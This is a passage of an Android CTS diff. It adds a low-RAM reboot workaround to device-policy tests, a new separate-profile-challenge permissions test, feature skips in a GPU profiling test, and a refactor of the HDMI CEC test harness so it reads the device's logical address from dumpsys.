+            executeDeviceTestMethod(".LockTaskHostDrivenTest", "testLockTaskIsActive");
+
             // Try to open settings via adb
             executeShellCommand("am start -a android.settings.SETTINGS");
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index d9fc9eb..7879553 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -661,11 +661,36 @@
                     EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build());
+
+            if (isLowRamDevice()) {
+                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
+                // leaves a state where future bug report requests will fail - usually this is
+                // handled by a NotificationListenerService but on low ram devices this isn't
+                // available so we must reboot
+                rebootAndWaitUntilReady();
+            }
+
             assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
             }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build());
+
+            if (isLowRamDevice()) {
+                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
+                // leaves a state where future bug report requests will fail - usually this is
+                // handled by a NotificationListenerService but on low ram devices this isn't
+                // available so we must reboot
+                rebootAndWaitUntilReady();
+            }
+        }
+    }
+
+    private boolean isLowRamDevice() {
+        try {
+            return getBooleanSystemProperty("ro.config.low_ram", false);
+        } catch (DeviceNotAvailableException e) {
+            return false;
         }
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
new file mode 100644
index 0000000..b3983b6
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/SeparateProfileChallengeTest.java
@@ -0,0 +1,80 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.devicepolicy;
+
+import android.platform.test.annotations.SecurityTest;
+
+import org.junit.Test;
+
+import com.android.tradefed.device.DeviceNotAvailableException;
+
+/**
+ * Host side tests for separate profile challenge permissions.
+ * Run the CtsSeparateProfileChallengeApp device side test.
+ */
+
+public class SeparateProfileChallengeTest extends BaseDevicePolicyTest {
+    private static final String SEPARATE_PROFILE_PKG = "com.android.cts.separateprofilechallenge";
+    private static final String SEPARATE_PROFILE_APK = "CtsSeparateProfileChallengeApp.apk";
+    private static final String SEPARATE_PROFILE_TEST_CLASS =
+        ".SeparateProfileChallengePermissionsTest";
+    private String mPreviousHiddenApiPolicy = "0";
+
+    @Override
+    public void setUp() throws Exception {
+        super.setUp();
+        setHiddenApiPolicyOn();
+    }
+
+    @Override
+    public void tearDown() throws Exception {
+        removeTestUsers();
+        getDevice().uninstallPackage(SEPARATE_PROFILE_PKG);
+        setHiddenApiPolicyPreviousOrOff();
+        super.tearDown();
+    }
+
+    @SecurityTest
+    @Test
+    public void testSeparateProfileChallengePermissions() throws Exception {
+        if (!mHasFeature || !mSupportsMultiUser) {
+            return;
+        }
+
+        // Create managed profile.
+        final int profileUserId = createManagedProfile(mPrimaryUserId);
+        // createManagedProfile doesn't start the user automatically.
+        startUser(profileUserId);
+        installAppAsUser(SEPARATE_PROFILE_APK, profileUserId);
+        executeSeparateProfileChallengeTest(profileUserId);
+    }
+
+    protected void setHiddenApiPolicyOn() throws Exception {
+        mPreviousHiddenApiPolicy = getDevice().executeShellCommand(
+                "settings get global hidden_api_policy_p_apps");
+        executeShellCommand("settings put global hidden_api_policy_p_apps 1");
+    }
+
+    protected void setHiddenApiPolicyPreviousOrOff() throws Exception {
+        executeShellCommand("settings put global hidden_api_policy_p_apps "
+            + mPreviousHiddenApiPolicy);
+    }
+
+    private void executeSeparateProfileChallengeTest(int userId) throws Exception {
+        runDeviceTestsAsUser(SEPARATE_PROFILE_PKG, SEPARATE_PROFILE_TEST_CLASS, userId);
+    }
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
index 71566d0..88286f3 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
@@ -24,7 +24,7 @@
 
 /**
  * Wrapper over <code>DevicePolicyEvent</code> atom as defined in
- * <code>frameworks/base/cmds/statsd/src/atoms.proto</code>.
+ * <code>frameworks/proto_logging/stats/atoms.proto</code>.
  * @see Builder
  */
 public final class DevicePolicyEventWrapper {
diff --git a/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
index da58bef..888bdc1 100644
--- a/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
+++ b/hostsidetests/graphics/gpuprofiling/app/AndroidManifest.xml
@@ -16,6 +16,9 @@
  -->
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     package="android.graphics.gpuprofiling.app">
+
+    <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES" />
+
     <application android:extractNativeLibs="true" android:debuggable="true">
         <activity android:name=".GpuRenderStagesDeviceActivity" android:exported="true">
             <intent-filter>
diff --git a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java
index d4a6c98..c7a2f04 100644
--- a/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java
+++ b/hostsidetests/graphics/gpuprofiling/src/android/graphics/gpuprofiling/cts/CtsFrameTracerDataSourceTest.java
@@ -16,6 +16,8 @@
 
 package android.graphics.gpuprofiling.cts;
 
+import static org.junit.Assume.assumeFalse;
+
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.CommandResult;
@@ -27,6 +29,7 @@
 import java.util.Base64;
 
 import org.junit.Assert;
+import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 
@@ -38,6 +41,26 @@
     public static final String TAG = "GpuProfilingDataDeviceActivity";
     private static final String FRAME_TRACER_SOURCE_NAME = "android.surfaceflinger.frame";
 
+    // Copied from PackageManager
+    private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
+    private static final String FEATURE_EMBEDDED = "android.hardware.type.embedded";
+    private static final String FEATURE_LEANBACK_ONLY = "android.software.leanback_only";
+    private static final String FEATURE_WATCH = "android.hardware.type.watch";
+    private static final String FEATURE_TELEVISION = "android.hardware.type.television";
+
+    private void bypassTestForFeatures(String... features) throws Exception {
+        for (String feature : features) {
+            assumeFalse(hasDeviceFeature(feature));
+        }
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        // We do not care about non-handheld devices
+        bypassTestForFeatures(FEATURE_AUTOMOTIVE, FEATURE_EMBEDDED, FEATURE_LEANBACK_ONLY,
+                FEATURE_WATCH, FEATURE_TELEVISION);
+    }
+
     @Test
     public void testFrameTracerProducerAvailable() throws Exception {
         CommandResult queryResult = getDevice().executeShellV2Command("perfetto --query-raw | base64");
diff --git a/hostsidetests/hdmicec/README.md b/hostsidetests/hdmicec/README.md
index f8289b2..cf85027 100644
--- a/hostsidetests/hdmicec/README.md
+++ b/hostsidetests/hdmicec/README.md
@@ -14,8 +14,9 @@
 Running these CTS tests requires a specific HDMI layout with a CEC adapter.
 
 *   Android TV playback device
-*   CEC adapter see [External CEC Adapter instructions](cec_adapter.md)
-*   HDMI Display (aka a TV)
+*   CEC adapter, see [External CEC Adapter instructions](cec_adapter.md)
+*   Install `cec-client` binary, see [install instructions](cec_adapter.md#software)
+*   HDMI Display (aka a TV) or an HDMI fake plug
 
 ![drawing](setup.png)
 
diff --git a/hostsidetests/hdmicec/cec_adapter.md b/hostsidetests/hdmicec/cec_adapter.md
index 3a325d7..409a84e 100644
--- a/hostsidetests/hdmicec/cec_adapter.md
+++ b/hostsidetests/hdmicec/cec_adapter.md
@@ -21,7 +21,7 @@
     sudo apt-get install cec-utils
     ```
 
-    *   mac (using [MacPorts](https://guide.macports.org/#installing))
+    *   macOS (using [MacPorts](https://guide.macports.org/#installing))
 
     ```shell
      sudo /opt/local/bin/port install libcec
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
index aa888f7..1e98316 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/BaseHdmiCecCtsTest.java
@@ -21,6 +21,7 @@
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 
+import org.junit.Before;
 import org.junit.rules.TestRule;
 
 import java.io.BufferedReader;
@@ -33,6 +34,23 @@
 public class BaseHdmiCecCtsTest extends BaseHostJUnit4Test {
 
     public final HdmiCecClientWrapper hdmiCecClient;
+    public LogicalAddress mDutLogicalAddress;
+
+    /**
+     * Constructor for BaseHdmiCecCtsTest. Uses the DUT logical address for the test.
+     */
+    public BaseHdmiCecCtsTest() {
+        this(LogicalAddress.UNKNOWN);
+    }
+
+    /**
+     * Constructor for BaseHdmiCecCtsTest. Uses the DUT logical address for the test.
+     *
+     * @param clientParams Extra parameters to use when launching cec-client
+     */
+    public BaseHdmiCecCtsTest(String ...clientParams) {
+        this(LogicalAddress.UNKNOWN, clientParams);
+    }
 
     /**
      * Constructor for BaseHdmiCecCtsTest.
@@ -41,7 +59,19 @@
      * @param clientParams Extra parameters to use when launching cec-client
      */
     public BaseHdmiCecCtsTest(LogicalAddress dutLogicalAddress, String ...clientParams) {
-        this.hdmiCecClient = new HdmiCecClientWrapper(dutLogicalAddress, clientParams);
+        this.hdmiCecClient = new HdmiCecClientWrapper(clientParams);
+        mDutLogicalAddress = dutLogicalAddress;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        if (mDutLogicalAddress == LogicalAddress.UNKNOWN) {
+            mDutLogicalAddress = LogicalAddress.getLogicalAddress(getDumpsysLogicalAddress());
+        }
+        hdmiCecClient.setTargetLogicalAddress(mDutLogicalAddress);
+        boolean startAsTv =
+                mDutLogicalAddress.getDeviceType() != HdmiCecConstants.CEC_DEVICE_TYPE_TV;
+        hdmiCecClient.init(startAsTv);
     }
 
     /** Class with predefined rules which can be used by HDMI CEC CTS tests. */
@@ -60,7 +90,7 @@
             return RequiredPropertyRule.asCsvContainsValue(
                         testPointer,
                         HdmiCecConstants.HDMI_DEVICE_TYPE_PROPERTY,
-                        dutLogicalAddress.getDeviceType());
+                        dutLogicalAddress.getDeviceTypeString());
         }
     }
 
@@ -88,4 +118,24 @@
         }
         throw new Exception("Could not parse physical address from dumpsys.");
     }
+
+    /** Gets the logical address of the DUT by parsing the dumpsys hdmi_control. */
+    public int getDumpsysLogicalAddress() throws Exception {
+        String line;
+        String pattern = "(.*?)" + "(mAddress: )" + "(?<address>\\d+)" +
+                "(.*?)";
+        Pattern p = Pattern.compile(pattern);
+        Matcher m;
+        ITestDevice device = getDevice();
+        String dumpsys = device.executeShellCommand("dumpsys hdmi_control");
+        BufferedReader reader = new BufferedReader(new StringReader(dumpsys));
+        while ((line = reader.readLine()) != null) {
+            m = p.matcher(line);
+            if (m.matches()) {
+                int address = Integer.decode(m.group("address"));
+                return address;
+            }
+        }
+        throw new Exception("Could not parse logical address from dumpsys.");
+    }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 52c2941..809461b 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -25,18 +25,6 @@
 
     private static final int HEXADECIMAL_RADIX = 16;
 
-    /** Gets the hexadecimal ASCII character values of a string. */
-    public static String getHexAsciiString(String string) {
-        String asciiString = "";
-        byte[] ascii = string.trim().getBytes();
-
-        for (byte b : ascii) {
-            asciiString.concat(Integer.toHexString(b));
-        }
-
-        return asciiString;
-    }
-
     public static String formatParams(String rawParams) {
         StringBuilder params = new StringBuilder("");
         int position = 0;
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
index 51da280..b57794a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -17,9 +17,10 @@
 package android.hdmicec.cts;
 
 import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
 import com.android.tradefed.util.RunUtil;
 
+import org.junit.rules.ExternalResource;
+
 import java.io.BufferedReader;
 import java.io.BufferedWriter;
 import java.io.InputStreamReader;
@@ -28,10 +29,9 @@
 import java.util.ArrayList;
 import java.util.Arrays;
 import java.util.List;
+import java.util.concurrent.TimeUnit;
 import java.util.regex.Pattern;
 
-import org.junit.rules.ExternalResource;
-
 /** Class that helps communicate with the cec-client */
 public final class HdmiCecClientWrapper extends ExternalResource {
 
@@ -45,26 +45,30 @@
     private BufferedReader mInputConsole;
     private boolean mCecClientInitialised = false;
 
-    private LogicalAddress targetDevice;
+    private LogicalAddress selfDevice = LogicalAddress.RECORDER_1;
+    private LogicalAddress targetDevice = LogicalAddress.UNKNOWN;
     private String clientParams[];
 
-    public HdmiCecClientWrapper(LogicalAddress targetDevice, String ...clientParams) {
-        this.targetDevice = targetDevice;
+    public HdmiCecClientWrapper(String ...clientParams) {
         this.clientParams = clientParams;
     }
 
     @Override
-    protected void before() throws Throwable {
-        this.init();
-    };
-
-    @Override
     protected void after() {
         this.killCecProcess();
     };
 
+
+    void setTargetLogicalAddress(LogicalAddress dutLogicalAddress) {
+        targetDevice = dutLogicalAddress;
+    }
+
     /** Initialise the client */
-    private void init() throws Exception {
+    void init(boolean startAsTv) throws Exception {
+        if (targetDevice == LogicalAddress.UNKNOWN) {
+            throw new IllegalStateException("Missing logical address of the target device.");
+        }
+
         List<String> commands = new ArrayList();
 
         commands.add("cec-client");
@@ -72,9 +76,11 @@
          * address 2.0.0.0 */
         commands.add("-p");
         commands.add("2");
-        /* "-t x" starts the client as a TV device */
-        commands.add("-t");
-        commands.add("x");
+        if (startAsTv) {
+            commands.add("-t");
+            commands.add("x");
+            selfDevice = LogicalAddress.TV;
+        }
         commands.addAll(Arrays.asList(clientParams));
 
         mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
@@ -134,7 +140,9 @@
     public void sendCecMessage(LogicalAddress source, LogicalAddress destination,
             CecOperand message, String params) throws Exception {
         checkCecClient();
-        mOutputConsole.write("tx " + source + destination + ":" + message + params);
+        String sendMessageString = "tx " + source + destination + ":" + message + params;
+        CLog.e("Sending message: " + sendMessageString);
+        mOutputConsole.write(sendMessageString);
         mOutputConsole.newLine();
         mOutputConsole.flush();
     }
@@ -353,6 +361,11 @@
         }
      }
 
+    /** Returns the device type that the cec-client has started as. */
+    public LogicalAddress getSelfDevice() {
+        return selfDevice;
+    }
+
     /**
      * Kills the cec-client process that was created in init().
      */
@@ -376,7 +389,7 @@
             }
         } catch (Exception e) {
             /* If cec-client is not running, do not throw an exception, just return. */
-            CLog.w("Unable to close cec-client", e);
+            CLog.w(new Exception("Unable to close cec-client", e));
         }
     }
 }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
index 567b56a..87cded6 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/LogicalAddress.java
@@ -35,7 +35,8 @@
     RESERVED_1(0xc),
     RESERVED_2(0xd),
     SPECIFIC_USE(0xe),
-    BROADCAST(0xf);
+    BROADCAST(0xf),
+    UNKNOWN(0xf);
 
     private final int address;
     private static Map deviceMap = new HashMap<>();
@@ -51,27 +52,31 @@
         }
     }
 
-    public String getDeviceType() {
+    public String getDeviceTypeString() {
+        return Integer.toString(getDeviceType());
+    }
+
+    public int getDeviceType() {
         switch (this) {
             case PLAYBACK_1:
             case PLAYBACK_2:
             case PLAYBACK_3:
-                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+                return HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE;
             case TV:
-                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TV);
+                return HdmiCecConstants.CEC_DEVICE_TYPE_TV;
             case AUDIO_SYSTEM:
-                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM);
+                return HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM;
             case RECORDER_1:
             case RECORDER_2:
             case RECORDER_3:
-                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_RECORDER);
+                return HdmiCecConstants.CEC_DEVICE_TYPE_RECORDER;
             case TUNER_1:
             case TUNER_2:
             case TUNER_3:
             case TUNER_4:
-                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TUNER);
+                return HdmiCecConstants.CEC_DEVICE_TYPE_TUNER;
             default:
-                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_RESERVED);
+                return HdmiCecConstants.CEC_DEVICE_TYPE_RESERVED;
         }
     }
 
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
new file mode 100644
index 0000000..5fb2187
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/common/HdmiCecSystemInformationTest.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts.common;
+
+import static com.google.common.truth.Truth.assertThat;
+
+
+import android.hdmicec.cts.BaseHdmiCecCtsTest;
+import android.hdmicec.cts.CecClientMessage;
+import android.hdmicec.cts.CecMessage;
+import android.hdmicec.cts.CecOperand;
+
+import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
+
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.rules.RuleChain;
+import org.junit.runner.RunWith;
+
+/** HDMI CEC system information tests (Section 11.2.6) */
+@RunWith(DeviceJUnit4ClassRunner.class)
+public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
+
+    /** The version number 0x05 refers to CEC v1.4 */
+    private static final int CEC_VERSION_NUMBER = 0x05;
+
+    @Rule
+    public RuleChain ruleChain =
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(hdmiCecClient);
+
+    /**
+     * Test 11.2.6-1
+     * Tests for Ack {@code <Polling Message>} message.
+     */
+    @Test
+    public void cect_11_2_6_1_Ack() throws Exception {
+        String command = CecClientMessage.POLL + " " + mDutLogicalAddress;
+        String expectedOutput = "POLL sent";
+        hdmiCecClient.sendConsoleMessage(command);
+        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
+            throw new Exception("Could not find " + expectedOutput);
+        }
+    }
+
+    /**
+     * Test 11.2.6-2
+     * Tests that the device sends a {@code <Report Physical Address>} in response to a
+     * {@code <Give Physical Address>}
+     */
+    @Test
+    public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
+        hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
+        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
+        /* Check that the physical address taken is valid. */
+        CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
+        int receivedParams = CecMessage.getParams(message);
+        assertThat(receivedParams & 0xFF).isEqualTo(mDutLogicalAddress.getDeviceType());
+    }
+
+    /**
+     * Test 11.2.6-6
+     * Tests that the device sends a {@code <CEC Version>} in response to a {@code <Get CEC
+     * Version>}
+     */
+    @Test
+    public void cect_11_2_6_6_GiveCecVersion() throws Exception {
+        hdmiCecClient.sendCecMessage(hdmiCecClient.getSelfDevice(), CecOperand.GET_CEC_VERSION);
+        String message =
+                hdmiCecClient.checkExpectedOutput(
+                        hdmiCecClient.getSelfDevice(), CecOperand.CEC_VERSION);
+        assertThat(CecMessage.getParams(message)).isEqualTo(CEC_VERSION_NUMBER);
+    }
+}
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
index bbba1c4..f18268e 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecRoutingControlTest.java
@@ -99,14 +99,17 @@
     /**
      * Test 11.2.2-4
      * Tests that the device sends a <INACTIVE_SOURCE> message when put on standby.
-     * This test depends on One Touch Play, and will pass only if One Touch Play passes.
      */
     @Test
     public void cect_11_2_2_4_InactiveSourceOnStandby() throws Exception {
         ITestDevice device = getDevice();
         try {
             int dumpsysPhysicalAddress = getDumpsysPhysicalAddress();
-            device.executeShellCommand("input keyevent KEYCODE_HOME");
+            hdmiCecClient.sendCecMessage(
+                    LogicalAddress.TV,
+                    LogicalAddress.BROADCAST,
+                    CecOperand.SET_STREAM_PATH,
+                    CecMessage.formatParams(dumpsysPhysicalAddress));
             device.executeShellCommand("input keyevent KEYCODE_SLEEP");
             String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
                     CecOperand.INACTIVE_SOURCE);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
index f9f5ca2..3e7f35a 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecStartupTest.java
@@ -82,7 +82,7 @@
 
     /* Make sure device is playback only. Not applicable to playback/audio combinations */
     String deviceTypeCsv = device.executeShellCommand("getprop ro.hdmi.device_type").trim();
-    assumeTrue(deviceTypeCsv.equals(LogicalAddress.PLAYBACK_1.getDeviceType()));
+    assumeTrue(deviceTypeCsv.equals(LogicalAddress.PLAYBACK_1.getDeviceTypeString()));
 
     device.executeShellCommand("reboot");
     device.waitForBootComplete(HdmiCecConstants.REBOOT_TIMEOUT);
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
index 0f6df0b..7a78528 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemInformationTest.java
@@ -21,83 +21,34 @@
 import static org.junit.Assume.assumeTrue;
 
 import android.hdmicec.cts.BaseHdmiCecCtsTest;
-import android.hdmicec.cts.CecClientMessage;
 import android.hdmicec.cts.CecMessage;
 import android.hdmicec.cts.CecOperand;
-import android.hdmicec.cts.HdmiCecClientWrapper;
-import android.hdmicec.cts.HdmiCecConstants;
 import android.hdmicec.cts.LogicalAddress;
-import android.hdmicec.cts.RequiredPropertyRule;
-import android.hdmicec.cts.RequiredFeatureRule;
 
 import com.android.tradefed.device.ITestDevice;
 import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
 
 import org.junit.Rule;
+import org.junit.Test;
 import org.junit.rules.RuleChain;
 import org.junit.runner.RunWith;
-import org.junit.Test;
 
 /** HDMI CEC system information tests (Section 11.2.6) */
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemInformationTest extends BaseHdmiCecCtsTest {
 
-    /** The version number 0x05 refers to CEC v1.4 */
-    private static final int CEC_VERSION_NUMBER = 0x05;
-
     private static final String PROPERTY_LOCALE = "persist.sys.locale";
 
-    public HdmiCecSystemInformationTest() {
-        super(LogicalAddress.PLAYBACK_1);
-    }
-
     @Rule
     public RuleChain ruleChain =
-        RuleChain
-            .outerRule(CecRules.requiresCec(this))
-            .around(CecRules.requiresLeanback(this))
-            .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
-            .around(hdmiCecClient);
+            RuleChain
+                    .outerRule(CecRules.requiresCec(this))
+                    .around(CecRules.requiresLeanback(this))
+                    .around(CecRules.requiresDeviceType(this, LogicalAddress.PLAYBACK_1))
+                    .around(hdmiCecClient);
 
-    /**
-     * Test 11.2.6-1
-     * Tests for Ack <Polling Message> message.
-     */
-    @Test
-    public void cect_11_2_6_1_Ack() throws Exception {
-        String command = CecClientMessage.POLL + " " + LogicalAddress.PLAYBACK_1;
-        String expectedOutput = "POLL sent";
-        hdmiCecClient.sendConsoleMessage(command);
-        if (!hdmiCecClient.checkConsoleOutput(expectedOutput)) {
-            throw new Exception("Could not find " + expectedOutput);
-        }
-    }
-
-    /**
-     * Test 11.2.6-2
-     * Tests that the device sends a <REPORT_PHYSICAL_ADDRESS> in response to a
-     * <GIVE_PHYSICAL_ADDRESS>
-     */
-    @Test
-    public void cect_11_2_6_2_GivePhysicalAddress() throws Exception {
-        hdmiCecClient.sendCecMessage(CecOperand.GIVE_PHYSICAL_ADDRESS);
-        String message = hdmiCecClient.checkExpectedOutput(CecOperand.REPORT_PHYSICAL_ADDRESS);
-        /* Check that the physical address taken is valid. */
-        CecMessage.assertPhysicalAddressValid(message, getDumpsysPhysicalAddress());
-        int receivedParams = CecMessage.getParams(message);
-        assertThat(HdmiCecConstants.PLAYBACK_DEVICE_TYPE).isEqualTo(receivedParams & 0xFF);
-    }
-
-    /**
-     * Test 11.2.6-6
-     * Tests that the device sends a <CEC_VERSION> in response to a <GET_CEC_VERSION>
-     */
-    @Test
-    public void cect_11_2_6_6_GiveCecVersion() throws Exception {
-        hdmiCecClient.sendCecMessage(LogicalAddress.TV, CecOperand.GET_CEC_VERSION);
-        String message = hdmiCecClient.checkExpectedOutput(LogicalAddress.TV,
-                                                            CecOperand.CEC_VERSION);
-        assertThat(CecMessage.getParams(message)).isEqualTo(CEC_VERSION_NUMBER);
+    public HdmiCecSystemInformationTest() {
+        super(LogicalAddress.PLAYBACK_1);
     }
 
     /**
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
index 96a895e..d78d318 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/playback/HdmiCecSystemStandbyTest.java
@@ -40,8 +40,6 @@
 @RunWith(DeviceJUnit4ClassRunner.class)
 public final class HdmiCecSystemStandbyTest extends BaseHdmiCecCtsTest {
 
-    private static final LogicalAddress PLAYBACK_DEVICE = LogicalAddress.PLAYBACK_1;
-
     private static final String HDMI_CONTROL_DEVICE_AUTO_OFF =
             "hdmi_control_auto_device_off_enabled";
 
@@ -64,8 +62,8 @@
         String valToSet = turnOn ? "1" : "0";
         device.executeShellCommand("settings put global "
                 + HDMI_CONTROL_DEVICE_AUTO_OFF + " " + valToSet);
-        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF).trim();
-        return val.equals("1") ? true : false;
+        device.executeShellCommand("settings get global " + HDMI_CONTROL_DEVICE_AUTO_OFF);
+        return val.equals("1");
     }
 
     private void checkDeviceAsleepAfterStandbySent(LogicalAddress source, LogicalAddress destination)
diff --git a/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java b/hostsidetests/incident/apps/graphicsstatsapp/src/com/android/server/cts/device/graphicsstats/DrawFramesActivity.java
index 4f48544..f4719bc 100644
